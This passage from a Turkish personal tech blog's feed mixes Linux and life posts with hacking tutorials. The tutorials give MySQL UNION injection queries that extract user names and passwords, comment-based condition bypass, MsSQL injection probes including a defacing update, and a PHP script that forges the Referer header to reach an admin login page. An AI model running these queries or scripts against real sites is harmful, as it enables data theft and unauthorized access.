bazı tanımlamalar ve fonksiyonlar ile sql injection ataklarına karşı önlem alabilirsiniz..&lt;br /&gt;&lt;br /&gt;Öncelikle sorgularınızdan integer bir veri çekiyorsanız where id=123 gibi, değişkenleri integer olarak tanımlamalı ve mysql_real_escape_string() fonksiyonunu kullanmalısınız.&lt;br /&gt;&lt;br /&gt;Örnek:&lt;br /&gt;&lt;b&gt;$id=(int)mysql_real_escape_string($_GET['id']);&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Bu tanımlama ve fonksiyonu tüm get, ve post işlemlerinde uygulayın.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-5347398843652748938?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/5347398843652748938/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-ve-sql-injection-fix.html#comment-form' title='1 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5347398843652748938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/5347398843652748938'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/php-ve-sql-injection-fix.html' title='Php ve Sql injection fix'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-6917879279413708152</id><published>2011-12-20T14:11:00.000-08:00</published><updated>2011-12-20T22:51:16.762-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>MySQL Injection</title><content type='html'>Kolon sayısını order by ile çekebilirsiniz.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select * from news where id=1 order by 1&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;order by parametresinden sonra gelen sayı eğer tablodaki kolon sayısından fazla ise veriler gelmeyecektir.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Unknown column '{yazdiginiz kolon sayisi}' in 'order clause'&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;hata verecektir. Bu hata her scriptte vermeyebilir. Sorgu çalışmadığında mysql_error(); fonksiyonunu ekrana basmasını sağlayan bir kod parçası yazıldıysa görüntülenir.&lt;br /&gt;&lt;br /&gt;Kolon sayısını bulduktan sonra, union ile yeni sorgumuzu bağlayacağız. Kolon sayısının 5 olduğunu varsayıyorum.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select * from news where id=1 union select 1,2,3,4,5&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;sorgumuz çalışır ve 1 numaralı kayıt görüntülenir. id numarasını db'de bulunmayan bir sayı ile yazarsak union ile bağladığımız sorgu çalışacak ve ekrana kolon numaraları basacaktır.&lt;br /&gt;&lt;br /&gt;Ekrana basan kolon numaralarına istediğimiz kolon adını yazabiliriz. Bu şekilde o kolona ait verilere ulaşabiliriz.&lt;br /&gt;&lt;br /&gt;user() fonksiyonunu yazarsanız, veritabanı kullanıcı ismi,&lt;br /&gt;database() fonksiyonunu yazarsanız, database ismi ekrana gelecektir.&lt;br /&gt;&lt;br /&gt;2 nolu kolonun ekrana bastığını varsayıyorum.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select *&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from news&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;where id=-99&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;union select 1,group_concat(table_name),3,4,5&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from information_schema.tables&lt;/b&gt;&lt;br /&gt;&lt;b&gt;where table_schema=database()&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;bu sorgu ile information_schema (sistem tablosudur) üzerinden tablo isimlerini çekebilir,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select *&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from news&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;where id=-99&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;union select 1,group_concat(column_name),3,4,5&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from information_schema.columns&lt;/b&gt;&lt;br /&gt;&lt;b&gt;where table_name='tablo_adi'&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;bu şekilde de tablo adına ait kolon isimlerini öğrenebilirsiniz.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select *&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from news&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;where id=-99&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;union select 1,group_concat(uname,':',passwd),3,4,5&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from users&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;şeklinde tablolardan verileri çekebilirsiniz.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select *&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from news&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;where id=-99&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;union select 1,group_concat(uname,0x3a,passwd),3,4,5&lt;/b&gt;&lt;br /&gt;&lt;b&gt;from users&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;0x3a = :&lt;br /&gt;&lt;br /&gt;tırnak kullanmadan : işaretini yazmış oldum..&lt;br /&gt;&lt;br /&gt;Saygılar şelale.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-6917879279413708152?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/6917879279413708152/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/mysql-injection.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6917879279413708152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6917879279413708152'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/mysql-injection.html' title='MySQL Injection'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-2799364367741752617</id><published>2011-12-20T14:08:00.001-08:00</published><updated>2011-12-20T22:51:36.154-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>MySQL injection description line</title><content type='html'>Çoğu sql injection saldırılarında sorgu sonunda /* -- gibi karakterler görürsünüz. Bu karakterlerin amacı açıklama satırı ile sorgu sonundaki koşulların pasif edilmesidir.&lt;br /&gt;&lt;br /&gt;/* açıklama satırı */&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select * from news where id=$_GET['id'] and sess=$sessnumber&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;sorgumuzu varsayalım,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;select * from news where id=-99 and 1=0/* and sess=$sessnumber&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;/* karakterini koyarak and sess=$sessnumber koşulunu kırmış olduk..&lt;br /&gt;&lt;br /&gt;Nice aldatmalar ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-2799364367741752617?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/2799364367741752617/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/mysql-injection-description-line.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2799364367741752617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/2799364367741752617'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/mysql-injection-description-line.html' title='MySQL injection description line'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-3615725810514423330</id><published>2011-12-20T14:05:00.001-08:00</published><updated>2011-12-20T22:51:26.573-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>MsSQL Injection</title><content type='html'>MsSQL sistem tablosu şöyledir: sysobjects'de tablo isimleri vs. tutulur. syscolumns'da tablolara ait column isimleri tutulur. Örnek sorgular aşağıdadır.&lt;br /&gt;&lt;br /&gt;MsSQL User&lt;br /&gt;&lt;b&gt;select user&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Db Name&lt;br /&gt;&lt;b&gt;select db_name()--&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;MsSQL Version&lt;br /&gt;&lt;b&gt;select @@version&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Table name&lt;br /&gt;&lt;b&gt;select top 1 name from sysobjects where xtype='u' and name&amp;gt;'a'--&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;select top 1 name from sysobjects where xtype='u' and name like '%admin%'--&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Column name&lt;br /&gt;&lt;b&gt;select top 1 name from syscolumns where colid=1 and id=(select top 1 id from sysobjects where xtype='u' and name='table_name')--&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Update&lt;br /&gt;&lt;b&gt;update table_name set column_name = 'h4x0r3d'--&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Kullanıcı dbo ise .. ile diğer db'lerden veri çekilebilir.&lt;br /&gt;&lt;b&gt;select top 1 name from digerkullaniciismi..sysobjects where xtype='u' and name&amp;gt;'a'--&amp;nbsp;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-3615725810514423330?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/3615725810514423330/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/mssql-injection.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3615725810514423330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3615725810514423330'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/mssql-injection.html' title='MsSQL Injection'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-3235385577130387318</id><published>2011-12-20T14:01:00.000-08:00</published><updated>2012-01-22T09:54:50.499-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Http spoofing attack</title><content type='html'>Spoof nedir? diyecek olursanız. İngilizce karşığı kandırmak (aldatmak, dolandırmak vs.) demek. Peki bu metodla neler yapabiliriz? Şöyle açıklıyorum..admin.targetsite.com -&amp;gt; şu şekilde bir admin paneli düşünelim.. Burda login olabilmemiz için portal.targetsite.com'dan yönlenmediği için login panelini göremiyoruz.  Referer'la alakalı birşey.. İşte bunu spoof ederek login panelini görüntüleyebiliriz.Sadece böyle düşünmeyelim, istatistik için veritabanına kayıt edilen referrer, useragent gibi bilgileri değiştirerek panel sayfasını görüntüleyen yetkiliyi başka bir sayfaya yönlendirebilirsiniz, xss ile cookie sniff edebilirsiniz..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;attack.php&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt;HTTP Spoofing&lt;br /&gt;artiktek.blogspot.com&lt;br /&gt;*/&lt;br /&gt;$data = "GET /login.php HTTP/1.0\r\n";&lt;br /&gt;$data .= "Host: localhost\r\n";&lt;br /&gt;$data .= "Referer: portal.targetsite.com/admin\r\n";&lt;br /&gt;$data .= "User-Agent: Bla bla browser\r\n";&lt;br /&gt;$data .= "\r\n"; &lt;br /&gt;&lt;br /&gt;$socket = fsockopen ("localhost", 80, $hatano, $hataad, 30);&lt;br /&gt;if ($socket){&lt;br /&gt;    fputs ($socket, $data);&lt;br /&gt;    while (!feof($socket)) {&lt;br /&gt;        $source = fgets ($socket,128);&lt;br /&gt;        echo $source. '&amp;lt;br /&amp;gt;';&lt;br /&gt;    }&lt;br /&gt;    fclose ($socket);&lt;br /&gt;}&lt;br /&gt;?&amp;gt&lt;/pre&gt;&lt;b&gt;login.php&lt;/b&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt;HTTP Spoofing&lt;br /&gt;artiktek.blogspot.com&lt;br /&gt;*/&lt;br /&gt;echo 'Referer : '. $_SERVER['HTTP_REFERER']. '&amp;lt;br /&amp;gt;';&lt;br /&gt;echo 'User Agent : '. $_SERVER['HTTP_USER_AGENT'] . '&amp;lt;br /&amp;gt;';&lt;br /&gt;&lt;br /&gt;if ($_SERVER['HTTP_REFERER'] == 'portal.targetsite.com')&lt;br /&gt;{&lt;br /&gt;    echo 'Login Page';&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;    die ("Error!");&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;Bol güneşli günler efenim.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-3235385577130387318?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/3235385577130387318/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/http-spoofing-attack.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3235385577130387318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3235385577130387318'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/http-spoofing-attack.html' title='Http spoofing attack'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7951027788130591811</id><published>2011-12-17T00:17:00.000-08:00</published><updated>2011-12-20T14:28:37.705-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Yeni oyuncağım Xubuntu</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/-qgEWDsIzZAI/TuxPM12uNoI/AAAAAAAAAII/W2xwxkrtOao/s1600/clean_xubuntu.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="125" src="http://4.bp.blogspot.com/-qgEWDsIzZAI/TuxPM12uNoI/AAAAAAAAAII/W2xwxkrtOao/s200/clean_xubuntu.png" width="200" /&gt;&lt;/a&gt;Evet fedora 16 düşündüğüm gibi bir çok sorun çıkardı. Wireless ve ekran kartımı tanımadı. Kendi imkanlarımla tanıtmaya çalıştım, tanıttımda fakat saçma sapan hatalar verip gnome arayüzü çöküyor. Anlayacağınız fedora 16 denemelerim hüsranla sonuçlandı. Yedekte tuttuğum Xubuntu 11.10 sürümünü kurdum. Ubuntu + xfce = Xubuntu. Ubuntunun son versiyonu ve default olarak xfce arayüzü ile geliyor. Xfce GTK2 araç seti kullanıyor. Gnome kullananlar hiçde yabancı olmayacaktır bu arayüze Gnome 2'ye benziyor. Xfce'nin diğer masaüstü ortamlarından farkı Kde ve Gnome'a nazaran çok daha az sistem kaynağı tüketiyor. Düşük özellikli bir bilgisayarınız varsa ideal sizin için.&lt;br /&gt;&lt;br /&gt;Ubuntu olduğu için ekran kartı, wireless kartı vs. sorunsuz bir şekilde tanıdı. Sadece Mozilla Firefox yerine Chromium (Chrome) kurdum internet tarayıcısı olarak. Bu arada gnome'a göre içerisinde daha çok tema bulunduruyor xubuntu. Gnome'a göre sadeliği 1 adım öne çıkarıyor Xfce'yi benim gözümde.&lt;br /&gt;&lt;br /&gt;Xfce temaları için;&amp;nbsp;&lt;a href="http://xfce-look.org/"&gt;http://xfce-look.org/&lt;/a&gt;&amp;nbsp;bu siteye bakabilirsiniz.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7951027788130591811?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7951027788130591811/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/yeni-oyuncagm-xubuntu.html#comment-form' title='2 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7951027788130591811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7951027788130591811'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/yeni-oyuncagm-xubuntu.html' title='Yeni oyuncağım Xubuntu'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-qgEWDsIzZAI/TuxPM12uNoI/AAAAAAAAAII/W2xwxkrtOao/s72-c/clean_xubuntu.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8555652242830252379</id><published>2011-12-16T07:24:00.001-08:00</published><updated>2012-01-30T06:24:35.523-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='müzik'/><title type='text'>My Girls</title><content type='html'>Kod yazarken iyi gidiyor ;)&lt;br /&gt;&lt;br /&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/zol2MJf6XNE" width="530"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8555652242830252379?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8555652242830252379/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/my-girls.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8555652242830252379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8555652242830252379'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/my-girls.html' title='My Girls'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/zol2MJf6XNE/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-495652212938298888</id><published>2011-12-16T04:46:00.000-08:00</published><updated>2011-12-20T14:29:02.007-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Unity sen ne gerizekalı bir şeysin?</title><content type='html'>İnternette uzun zamandır güzel bir linux dağıtımı araştırması yapıyordum. Gezmedik forum, okumadık linux kullanıcılarının yorumları kalmadı. Bu yorumlardan yola çıkarak, Ubuntu 11.10'da gelen Unity arayüzünden bende soğudum. Nerde kaldı linux felsefesi? Böyle arayüz mü olur dedim ve sonunda bye bye unity bye bye ubuntu deme zamanımın geldiğine karar verdim. Aslında sadece Unity'i kaldırıp Gnome-shell kurmayı düşünüyordum ama yeni çıkan Fedora 16 sürümünün linux 3 core ve default olarak gnome-shell ile birlikte geldiğini okuyunca beni bir heyecan bastı. Ubuntuyu artık herkes kullanıyor. Ve biraz farkım olsun diye Fedora kurmaya karar verdim. Kullanıcıların Fedora hakkındaki yazılarıda çok olumlu. Bugün deneme fırsatım olacak. Ve kurduktan sonra gözlemlerimi buradan yazarım.&lt;br /&gt;&lt;br /&gt;Aynı zamanda xfce ara yüzü olan xubuntu 11.10 versiyonunuda indirdim. Ubuntu her ne kadar 11.10 versiyonunda saçmalasa da güçlü bir linux dağıtımı. Yiğidini öldür hakkını yeme. 4 senelik bir ubuntu geçmişim var. Fedora'da sorunlar çıkarsa xfce arayüzlü xubuntu'yu kuracağım. Donanım sorunu vs. olmuyor ubuntularda.&lt;br /&gt;&lt;br /&gt;Eğer unity kullanıcısıysanız silin abi gitsin şu arayüzü. Çok hantal birşey. 3 aylık bir kullanım süremde hiç ama hiç bir zevk almadığımı garanti ederim. Pardus 2011'i de çok övüyorlar ama, kde kullanmayı sevmediğim için tavsiye etmiyorum. Sonuçta kde'de bir sürü hata oluşuyor.&lt;br /&gt;&lt;br /&gt;Xfce arayüzü düşük donanımlı bilgisayarlar için birebir. Performanstan ödün vermem diyosanız xfce, biraz daha abartıyorsanız fluxbox kurabilirsiniz.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-495652212938298888?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/495652212938298888/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/unity-sen-ne-gerizekal-bir-seysin.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/495652212938298888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/495652212938298888'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/unity-sen-ne-gerizekal-bir-seysin.html' title='Unity sen ne gerizekalı bir şeysin?'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-477065722507295003</id><published>2011-12-14T14:22:00.000-08:00</published><updated>2011-12-25T14:07:09.982-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='amk'/><title type='text'>Gözümden hayat vol1</title><content type='html'>Selam panpalar,&lt;br /&gt;&lt;br /&gt;Çevremde olup biten gözlemlediğim bir takım şeyleri ayna edasında yansıtmak istedim. Bu yazılarım her hafta düzenli olarak vol1, vol2, vol3 şeklinde devam edecek. Yazımı okuyup birşeyler anlamayabilirsiniz. Bu benim sorunum değil. Anlamadığınız şeyleri tekrar tekrar okuyup anlamaya çalışınız. Baktınız anlamıyorsunuz fazla üstelemeyin. Ha, şuna bir açıklık getireyim, bu yazılarımad x bir kişiyi hedef almıyorum. Bu yazıları okurken acaba benim için mi söylüyor bunları demeyin. Eğer böyle bir düşünceniz varsa kendinizle yüzleşin. Benim kimseye karşı bir kırgınlığım yada başka birşeyim yok. Hayat her zaman güzel keyfine bakın takılmayın böyle şeylere. Hadi başlıyoruz bismillah.&lt;br /&gt;&lt;br /&gt;Hayatta en çok tuhafıma giden şey, büyük godaman insanların küçük şeyleri kafasına takması, küçük şeylerden dolayı canlarının sıkılması ve içlerinde dert etmesi. Lan panpa neyi dert ediyon sen? Blogunu keyifle okuduğum sikkofield'in bir yazısı aklıma geldi. İki dövüşçü düşünün. Bu iki dövüşçüden biri altın kemer sahibi. Sahaya çıktığında tribünlerde ses kıyamet övgüü.. Ve altın kemeri.. Karşısında ki kişi ise tanınmayan bir sefil. Ringe çıkınca millet dalga geçercesine dalga geçiyor.. Sizce bu turnuvada en korkak kim dövüşür? Sefil diyeceksiniz. Ama değil. Sefilin kaybedecek hiç bir şeyi yoktur. Kaybetsede ne olacak ki? Korkmaya değer birşeyi yok ortada. Ama altın kemeri olan şampiyon!! Asıl korkak dövüşecek kişi odur. Neden mi? Kaybedecek bir kemeri ve rezil olacağı insanlar vardır trübünlerde. Sikkofield'in anlattığı gibi, benim gözümden de hayat gerçekten böyle. Büyük insanlar daima küçük şeylere takılır ve kalır. Korkarlar. Bu böyledir. Gerçekler acı. Gözlemlediğim küçük insanlar, daima küçük değilde büyük godaman şeylere takılırlar. Aslında takılı kalmaya hiç gerek yoktur. Anlattığım örnek gibi, kaybedecek hiç bir şeyiniz yok. Bırakın korkularınız sizden korksun onlar size takılı kalsın. Hayatı bu örnekte olduğu gibi korkusuzca yaşamayı seçerseniz önünüze çıkan büyük küçük tüm engelleri yıkacaksınız. Bende gözümde korkuttuğum bir çok şeyi takmıyorum. Fazla takmamam gerekiyor zaten. Hayatta başarılı olmanın altın kuralı bu bana göre.&lt;br /&gt;&lt;br /&gt;Küçük insanlar daima şanslıdır. Onların düşünecek pek bir şeyi yoktur çünkü. Herşey hayaldir. Ve hayaller bazı durumlarda gerçeğe dönüşebilir. Büyük insanların ellerinde onlarca şey olduğundan kurdukları hayallerde saçmalaşır. Ve imkansız olur. Bir tarafta tvlerde çıkan kevaşe hatunlara aşık olmak, diğer tarafta ise mahallenin en güzel kızına aşık olmak ve onun için herşeyi yapabilmek. Seçim sizin. Kırın artık şu korku ve takıntılarınızı. Hadi toparla şimdi kendini. Doğru söylüyorum ben... Bu arada havalar soğuk dikkat etmezseniz benim gibi hasta olabilirsiniz. Dikkat edin kendinize.. Bir de, vurun dediysek öldürmeyin birilerini.&lt;br /&gt;&lt;br /&gt;Bir sonraki yazıda görüşmek üzere paii ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-477065722507295003?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/477065722507295003/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/gozumden-hayat-vol1.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/477065722507295003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/477065722507295003'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/12/gozumden-hayat-vol1.html' title='Gözümden hayat vol1'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' 